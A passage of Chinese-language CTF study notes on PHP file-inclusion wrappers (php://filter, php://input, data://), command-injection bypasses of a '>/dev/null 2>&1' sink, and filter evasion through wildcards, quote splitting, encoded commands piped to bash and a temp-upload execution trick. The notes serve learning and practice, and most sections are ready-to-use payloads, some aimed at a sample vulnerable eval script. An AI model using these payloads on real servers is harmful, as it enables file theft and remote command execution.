0x04 php伪协议
这种我们是先看到了include
才会想到,利用伪协议来外带文件内容,但是有些同学会问,我们怎么知道文件名是哪个,哪个文件名才是正确的,那么这里我们就得靠猜了
include函数
因为 include 是一个特殊的语言结构,其参数不需要括号。在比较其返回值时要注意。
include 函数用于包含指定文件(通常是 PHP 脚本文件)的内容,使得被包含的文件中的所有 PHP 代码在当前脚本中执行。
被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。 如果在
include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则
include 结构会发出一条 E_WARNING ;这一点和 require 不同,后者会发出一个 E_ERROR 。
所以我们需要文件路径来推进文件包含flag,得到内容
file://
allow_url_fopen :off/on
allow_url_include:off/on
但是需要知道文件路径,我基本是没用过
file://D:/soft/phpStudy/WWW/phpcode.txt
php://
这里说几种常用的伪协议命令
php://filter
allow_url_fopen :off/on
allow_url_include:off/on
base64
php://filter/read=convert.base64-encode/resource=flag.php
rot13
php://filter/string.rot13/resource=flag.php
php://input 接受原始POST输入流进行命令执行
allow_url_fopen :off/on
allow_url_include:on
POST:
<?= phpinfo();?> 执行成功
data://
data://text/plain,<?= system("cat fl*");?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ 这里同理也可以写rot13等其他编码
zip://
我没用过,用了之后补上
phar://
这个也是
0x05 >/dev/null 绕过
这个东西为什么单独拎出来,完全是我想而已
众所周知2>&1是一个重定向写法,bash弹shell经常使用,但是在命令执行函数中他可以用来使得命令执行结果被转入>/dev/null文件路径中
重定向(Redirect)是指将一个命令的输入或输出流从默认的位置改变到另一个位置或设备上的操作。
标准输入(STDIN,文件描述符为0):通常用于接收输入数据。
标准输出(STDOUT,文件描述符为1):通常用于输出正常的程序输出。
标准错误(STDERR,文件描述符为2):通常用于输出错误消息和其他诊断信息。
这部分是将标准错误(STDERR)重定向到标准输出(STDOUT)
>/dev/null:这部分是一种重定向输出的方法。/dev/null 是一个特殊的设备文件,在 Unix/Linux 系统中,它是一个空设备,写入到它的内容都会被丢弃,不会保存到任何地方。
诶那么绕过方法其实也非常简单
; 用于分隔多个命令
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行
%0a 换行符
system($c." >/dev/null 2>&1");
当我们输入;时候
直接就变成了system(ls; >/dev/null 2>&1);
如果ls有效那么就会成功执行并且有回显,其他同理
0x06 字符串过滤
字符串过滤这个是非常常见的我们每次看任何的比赛吧,正常的都会把flag给禁了那么我们就围绕这个来说说常用的姿势
通配符 *
这个是最常用也是最好用的
功能: 匹配零个或多个字符。
示例:
*.txt:匹配所有以 .txt 结尾的文件。
file*:匹配所有以 file 开头的文件或目录。
f*就能代表flag如果只有一个f开头的文件
通配符 ?
功能: 匹配任意单个字符。
示例:
?.txt:匹配所有由一个字符加上 .txt 后缀的文件,比如 a.txt、1.txt、x.txt 等等。
比如fla?.php
而且有时候如果过滤忘记过滤P的话还有姿势,例子
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
本题过滤少了p
php的上传接受multipart/form-data,然后会将它保存在临时文件中。php.ini中设置的upload_tmp_dir就是这个临时文件的保存目录。linux下默认为/tmp。也就是说,只要是php接收到上传的POST请求,就会保存一个临时文件,如何这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个php临时文件在linux系统下的命名规则永远是php**.tmp
访问/tmp/phpxxxxxx来读取文件
linux .(点命令):读取并且在当前的shell中执行文件中的命令
这里用p师傅的话讲的话,.file是用bash来执行file文件中的命令,而且这种操作是不需要file有x权限
payload
GET:
?cmd=?><?=`.+/??p/p?p??????`;
POST:
#! /bin/bash //指定为脚本
cat /flag.txt
前面也说到了我们是利用bash
其他
fl""ag
fla''g
fla\g
通配符 [ ]
在正则表达式中,[ ] 表示一个字符类(character class),用于指定一个字符集合,可以匹配其中任意一个字符
[9-q]
[9-q] 表示匹配一个字符,该字符的范围是从 9 到 q 之间的任何字符。
管道符
echo "Y2F0IGZsYWc=" | base64 -d|bash
| base64 -d:管道符 | 将 echo 命令的输出传递给 base64 -d 命令。base64 -d 表示对输入进行 Base64 解码。
| bash:再次使用管道符 |,将解码后的结果作为 Bash 命令执行。
切片环境变量
${PATH:x:y}
将环境变量PATH的某个字母才从第x个字符开始切片y个字符
拼接
a=c;b=at;c=flag;$a$b $c
进制转换
利用管道符
这东西我记得有但是我成功不了,欠着先
16进制
echo "0x63617420666c6167" | xxd -r -p | bash
8进制
echo "cat flag" | od -An -t o1
printf "\143\141\164\040\146\154\141\147\012" | bash
特殊变量
$1
$2
借用师傅的图